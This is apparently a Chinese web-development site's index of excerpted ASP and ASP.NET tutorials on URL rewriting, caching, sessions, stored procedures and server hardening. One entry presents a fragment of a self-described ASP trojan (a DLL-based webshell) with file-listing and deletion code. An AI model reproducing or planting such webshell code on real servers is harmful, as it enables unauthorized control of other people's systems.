ASP.NET中利用ashx实现图片防盗链

nhost.cn/Img.ashx?img=svn_work.gif的请求过程,这里的不同就是Referer,也就是都是请求同一个文件,但是请求的来源是不同的。因此我们可以在程序里判断是否是来源于当前服务器,来判断是否是盗链。明白原理以后,实现防盗链就非常简单了。下面以图片防盗链来实现一个演示。ASP.NET中添加一个img.ashx文件,然后后台代码如下:Code highlighting produced by Actipro CodeHighlighter (freeware)http://www.CodeHighlighter.com/-->using System;using Sy
http://www.w3dev.cn/article/20090701/303.aspx

ASP.NET中如何实现和利用URL重写

事情。只需要在重写规则的末尾加上一个重写规则,举个例子来说,重写“~/(.+).mysite”为“~/(.+).aspx”。因为URL重写规则是按顺序执行的,所以将这条规则放在最后会捕获所有页面。 还有需要注意的一点,当使用特定的文件扩展名的时候,确认要在IIS映射中配置这个新的扩展名。ASP.NET相关的扩展名(“.aspx”、“.asax”、“.config”、“.cs”等等)全部会被映射向aspnet_isapi.dll的ISAPI扩展。把你的新扩展名增加到相同的配置中。 如何利用URL重写 上面你已经花了不少时间了解了如何实现URL重写,现在你需要来看一下如何利用这个功
http://www.w3dev.cn/article/20090701/306.aspx

如何在 ASP.NET 应用程序中实现模拟

文件的 processModel 配置节中,将运行 Aspnet_wp.exe 进程所使用的帐户更改为 System 帐户。有关 ASP.NET 安全性的其他信息,请单击下面的文章编号,以查看 Microsoft 知识库中相应的文章: 306590 (http://support.microsoft.com/kb/306590/ ) INFO:ASP.NET 安全性概述 这篇文章中的信息适用于:Microsoft ASP.NET 1.0Microsoft ASP.NET 1.1Microsoft Visual .NET 2002 标准版Microsoft Visual Basic .NET
http://www.w3dev.cn/article/20090701/307.aspx

aspasp.net如何共享cookie

原来有两个asp页面,运行正常:a.asp中写入cookie:response.Cookies("usertype")=usertypeb.asp读取cookie:usertype=Request.Cookies ("usertype") if usertype="" then ……现在将a.asp改为a.aspx:userType = new HttpCookie("usertype");userType.Value = strUserType;Response.Cookies.Add(userType);在asp.net中正常,但b.asp却不能正确读取并进行判断,为什么?--------
http://www.w3dev.cn/article/20090701/315.aspx

asp教程:ASP开发中存储过程应用详解

能完成一定操作的一组SQL语句,只不过这组语句是放在数据库中的(这里我们只谈SQL Server)。如果我们通过创建存储过程以及在ASP中调用存储过程,就可以避免将SQL语句同ASP代码混杂在一起。这样做的好处至少有三个:  第一、大大提高效率。存储过程本身的执行速度非常快,而且,调用存储过程可以大大减少同数据库的交互次数。  第二、提高安全性。假如将SQL语句混合在ASP代码中,一旦代码失密,同时也就意味着库结构失密。  第三、有利于SQL语句的重用。  在ASP中,一般通过command对象调用存储过程,根据不同情况,本文也介绍其它调用方法。为了方便说明,根据存储过程的输入输出,作以下简单
http://www.w3dev.cn/article/20090630/296.aspx

用isapi rewrite 实现asp的HTML静态化

ll,然后确定. 4.来测试一下.新建一个1ting.asp,里面写上,效果就是执行的时候1ting.asp?inso=*浏览器显示*. 5.这一步很重要哦,开始添加rewrite规则.正则,好头痛,幸亏这个例子比较简单.   找到isapi_rewrite目录,把httpd.ini的只读属性去掉,打开编辑.我们要把1ting.asp?inso=im286映射成为1ting-im286.html这样的类型,需要在httpd.ini里加上这么一行:rewriterule /1ting-([0-9,a-z]*).html /1ting.asp\?inso=$1,保存.  6.来来来,到浏览器里查
http://www.w3dev.cn/article/20090629/191.aspx

asp存储过程使用大全

程名为mycola,带3个参数的存储过过程,其中第一个参数mycola数据类型为char,宽度10;第2个参数数据类型为char,宽度为10,第3个参数数据类型为text,在这里使用的是Sql Server的数据类型。  存储过程建立后,下面就是如何在Asp程序中调用该存储过程:在Asp中调用存储过程 为了提高Asp程序的效率,有时需要在Asp中使用使用Sql Server的存储技术,下面简单作一个,在上面的增加参数的语句p.Append cm.CreateParameter("@mycolc",201,1,250)中,格式为: p.Append cm.CreateParameter("参数
http://www.w3dev.cn/article/20090629/196.aspx

ASP采用Jmail发送普通附件和嵌入附件

ml"(为什么要发内嵌的附件图片?因为如果是img src=网上的地址,在outlook等客户端内则显示是难看的“X”,需要手动下载图片)本例子参考了Dimac(w3JMail官方)的样例,文件地址:C:\Program Files\Dimac\w3JMail4\Examples\ASP\htmlimage.asp(安装了Jmail的都有)例子代码:+展开-VBScript'*************************************************'**'*ProducedbySkyhe.Com*'**'*CodeWrittenbyKittowat2005-11*'*
http://www.w3dev.cn/article/20090629/200.aspx

ASP.NET中Session失效的问题整理

ession variables are lost intermittently in ASP.NET applications解决办法:前面说到的sessionState标签中mode属性可以有三个取值,除了InProc之外,还可以为StateServer、SQLServer。这两种存Session的方法都是进程外的,所以当aspnet_wp.exe重起的时候,不会影响到Session。现在请将mode设定为StateServer。StateServer是本机的一个服务,可以在系统服务里看到服务名为ASP.NET State Service的服务,默认情况是不启动的。当我们设定mode为St
http://www.w3dev.cn/article/20090629/206.aspx

动态加载用户控件的组件1

去叶面上很多重复性的地方。只需在重复叶面的地方引用组件就可以了比如:这样我们就可以 以用户组件为元素,组件不同的叶面。叶面也可以重用!但是怎样灵活的在项目中运用呢?怎样做到面向组件的开发呢?就像是积木式开发,我们的叶面可以有不同的组件来完成,而整个叶面就是一个容器,我们只不过是往容器里添加不同的元素而已,因此只要我们的元素能够做到通用,一般化,那么元素积累到了一定的程度,元素足够的丰富就可以经而一举构造出我们想要得叶面。更多地运用到下一篇文章再详细到来。下面我们先来看看怎么样加载组合我们的用户组件:1、让我们来先做两个元素,这里我就把用户组件ascx的文件称之为元素了。Head.ascx和F
http://www.w3dev.cn/article/20090629/208.aspx

动态加载用户控件的组件2

ascx上。Aspx所起的作用只是一个入口。对组件的引用而已,而组件就可以管理很多的ascx页面,所谓的叶面ascx叶面也应该是没有关联cs的叶面。所以整个系统所有的东西都是在组件里面,aspx是单纯的访问入口,ascx是纯页面的东西。Aspx入口调用组件组件调用ascx页面以及相应客户的交互。只有这样才能做到每工与后台的很好的分开。完全可以有一个团队来开发页面(纯页面不需要任何的cs代码,全都是ascx),而有另一个团队来开发组件。最后组装成整个系统,由aspx调用组件就可以了。让我们来作个无代码关联的ascx叶面,叶面上有个按钮,然后写个组件加载这个ascx叶面,以及如何响应这个按钮的事
http://www.w3dev.cn/article/20090629/209.aspx

动态加载用户控件的组件3

空间。其实所有这些就需要用到三个组件,一个是用来保留的空间,一个是用来引用页面放入到我们保留出来的空间,这两个组件其实只是起到标记的作用而已。另一个也是主要的一个就是引用模版,然后处理引用页面并插入到模版中去。1、我们来解决的一个技术问题,留个空间很容易的就是PlaceHolder,那么我们还要考虑到ID的问题,因为我们还要找到这个地方,当然我们可能要留几个不同的地方,这样就很有必要处理一下ID的问题。那么扩展PlaceHolder同时继承INamingContainer。我们取名为:PlugArea那么这个主要做的事情有两件事,把本身保存起来,然后在第三个组件用到的时候取出来。+展开 -C#
http://www.w3dev.cn/article/20090629/210.aspx

asp.net操作Excel总结

pnet/DGExdel.aspCreate your ASP ASP.NET-pages using Excel http://www.exceleverywhere.com/excel-asp-net.htmExporting to Excel in Crystal Reports .NEThttp://aspalliance.com/478Create Dynamic ASP.NET Excel Workbooks In C#http://www.eggheadcafe.com/articles/20021012.asp ASP.NET中数据库数据导入Excel并打印http://w
http://www.w3dev.cn/article/20090629/212.aspx

ASP.NET的App_Code中放置不同语言编写的类

ASP.NET程序的App_Code文件夹下放置的类可被自动编译成一个程序集,页面中所有使用该程序集中的类和方法都会自动调用并更新,维护起来极为方便。但是,该文件夹下的类只能用一种语言编写,Visual Basic.NET、C#、J#、Jscript..NET中的一种因为它会被编译成同一个程序集,并由一个编译器进行处理。要使用不同的语言,必须用文件夹对类文件进行分组,并在配置文件中加入一些必要的配置,要求构建系统创建不同的程序集--每一种语言一个程序集。假设有两个类文件分别名为code.cs和code.vb。由于它们用两种语言编写,故不能一起放在App_Code目录中。现在创建两个文件夹来解
http://www.w3dev.cn/article/20090629/220.aspx

ASP.NET:页面缓存

于设置缓存特定的HTTP标头的方法和用于控制ASP.NET页面输出缓存的方法。与.NET Framework 1.x中的HttpCachePolicy类相比,.NET Framework 2.0中的HttpCachePolicy类得到了扩充和发展。使用这两种方法,我们可以实现下列功能:1、使用参数对页的各个版本进行缓存使用 ASP.NET,您可以根据指定的 HTTP 标头的值对某页的多个版本进行缓存。当请求页时,您可以指定按传递到应用程序的单个标头、多个标头或所有标头进行缓存。根据 HTTP 标头值以声明方式对某页的各个版本进行缓存A、 在 ASP.NET 页中,在 @ OutputCach
http://www.w3dev.cn/article/20090629/228.aspx

ASP.NET页面缓存优化性能优化

ppp hr /center asp:label id="lblTime" runat="server"/ /body/html 输出的结果和上一例子大体相同,就不在重复了。另外,在ASP中,对于上面的例子我们还可以写为:Response.CacheControl = "Public"Response.Expires = 10 从兼容性出发,ASP.NET中依然具有相同的效果,但建议尽量使用ASP.NET的形式。6.1.3 小结 本章介绍了页面输出缓存的基本概念,以及在asp.net中如何通过page命令和response对象在编程中
http://www.w3dev.cn/article/20090629/229.aspx

未发现oracle(TM)客户端和网络组件

asp的WEB程序中,后台用oracle的服务器版,运行正常。但改用客户端后,有如下错误: 未发现oracle(TM)客户端和网络组件。这些组件是由oracle公司提供的,是oracle7.3版(或更高)客户软件安装的一部份。 在安装这些组件之前,将无法使用此驱动程序。 解决办法: 安装oracle的磁盘格式若是ntfs格式,考虑oracle的bug,即文件夹ora92授权用户的“读取和运行”权限先勾调,应用,再勾上,运行,最后 重启。其实,在服务器版中也遇到这个问题了,解决方法一样,只是没有重启(好像)。 最新发现:重启与否取决于用的是什么驱动。对于odbc而言,支持行不好,要重启。如果
http://www.w3dev.cn/article/20090623/143.aspx

在vs2005/2008调试asp方法

1.在IIS中站点下,应用程序配置,打开启用asp服务器端脚本调试.2.ie选项中关闭禁用脚本调试.3.在vs2005中打开站点,调试项中(开始执行)不调试,附加进程名w3wp.exe.4.在vs2005中设定程序断点.5.进入打开的web页进行刷新,就可以开始调试了.
http://www.w3dev.cn/article/20090620/132.aspx

近无事,乱写的asp木马(dll版本)

fl.Path)"'""删除/a/td/tr"Nextstr=str"/table"getFilesStr=strEndFunction测试页面+展开-HTML%dimasphookonerrorresumenextsetasphook=server.createobject("asphook.aspclass")iferr0thenresponse.write"不能创建组件!"setasphook=nothingresponse.endendifonerrorgoto0callasphook.startjob("","")'如果不一样的注册表,请修改这里setasphook=nothing%
http://www.w3dev.cn/article/20090620/133.aspx

巧用ASP技术保护DHTML源代码

t language="Javascript" src="yourscript.js" /script  但在本例中,我们调用的却是一个ASP页面而不是JavaScript源文件:  script language="Javascript" type="text/javascript" SRC="js.asp" /script  如果要遮掩应用正在请求ASP页面这一事实,你可以把js.asp改名为index.asp(或者default.asp),然后把这个文件放到单独的目录之中,比如“/js/”,此时上面这行代码就改为:  script language="Javascrip
http://www.w3dev.cn/article/20090616/113.aspx

Windows 2003 硬盘安全设置[针对ASP类网站]

问目录)administrators 全部权限IIS_WPG 读取和运行,列出文件夹目录,读取d:/Host/ZxsV/WebLog(日志目录)administrators 全部权限system 全部d:/Host/ZxsV/Web/Upload(网站用户数据上传目录)administrators 全部权限IIS_WPG 读取和运行,列出文件夹目录,读取,改写无ASP执行权限,这个很重要,这只是一个定义,具体要看网站是怎么设定的d:/Tools/(工具目录)administrators 全部权限d:/Tools/Serv-Uadministrators 全部权限guest 拒绝类推就是的了
http://www.w3dev.cn/article/20090610/96.aspx

asp.net URL重写

有关于URL的重写,本文也只是拿来主意。相继有MS的组件“URLRewriter”和在Global.asax里的“Application_BeginRequest()”编码方式,以及IIS里的ISAPI设置。娜列下来,实现方法也都很简单。 方法一:MS组件这里也不用详解了,相关请看:http://www.microsoft.com/china/msdn/library/webservices/asp.net/URLRewriting.mspx用法很简单,只需要把组件URLRewriter.dll拷到应用程序的bin目录下,然后在web.config下加入如下代码:在中加入:+展开-HTMLc
http://www.w3dev.cn/article/20090608/84.aspx

asp.net 1.1中url重写的问题

asp.net 1.1中url重写的问题 1:asp.net1.1中重写中可删节的问题!!!如以下的正则表达式:+展开 -XMLRulesRewriterRuleLookForsLookFor~/(\d{4})/(\d{2})\.html/LookFor---------1LookFor~/(\d{4})/(\d{2})//LookFor--------------2LookFor~/(\d{4})/(\d{2})/LookFor-----------3LookFor~/(\d{4})/(\d{2})/index.html/LookFor----4/LookForsSendTo~/Pro.as
http://www.w3dev.cn/article/20090603/57.aspx

aspjpeg是一款非常强大的图片处理组件

aspjpeg是一款非常强大的图片处理组件,纯英文版本。不过早已经有免费版和破解版,但是对其进行详细与深入介绍的文章却是不多,即使有也只牵涉到图片缩略和图片水印。可能是因为纯英文的缘故。 这里我就是针对这些问题谈谈aspjpeg的高级用法。这里的技术主要包括: 图片缩略 图片水印 安全码技术 图片切割 图片合并 数据库支持 更多不常用的方法介绍 以及相关的一些实用技术 一、图片缩略 +展开-HTML%SetJpeg=Server.CreateObject("Persits.Jpeg")'调用组件Path=Server.MapPath("images")&"\clock.jpg"'待处理图片
http://www.w3dev.cn/article/20090602/47.aspx

不用url rewrite实现ASP伪静态技术

不用url rewrite实现ASP伪静态技术 实践证明,伪静态比动态页面能够让搜索引擎蜘蛛更好的收录你的网站,所以很多站长都采用伪静态来优化网站,但是需要服务器安装 isapi rewrite 或者 mod rewrite,对于许多使用虚拟主机的站长,由于服务器不支持 url rewrite,伪静态很难实现。所以我自己写了一段代码,把这段代码插入你需要伪静态的页面,就可以实现了1.单参数功能:把:www.123.com/index.asp?id=123伪静态为:www.123.com/index.asp?/123.html代码: -------------------------------
http://www.w3dev.cn/article/20090602/49.aspx

asp连接数据

及文件”,按确定把权限的更改应用于该文件夹; 3、重新启动计算机,让权限设置生效(请注意,这一步很重要); 4、登录后运行asp.net应用,正常取得Oracle数据库的数据。 未发现oracle(TM)客户端和网络组件?解决办法如下。 在asp的WEB程序中,后台用oracle的服务器版,运行正常。但改用客户端后,有如下错误:未发现oracle(TM)客户端和网络组件。这些组件是由oracle公司提供的,是oracle7.3版(或更高)客户软件安装的一部份。在安装这些组件之前,将无法使用此驱动程序。解决办法:安装oracle的磁盘格式若是ntfs格式,考虑oracle的bug,即文件夹ora
http://www.w3dev.cn/article/20090602/51.aspx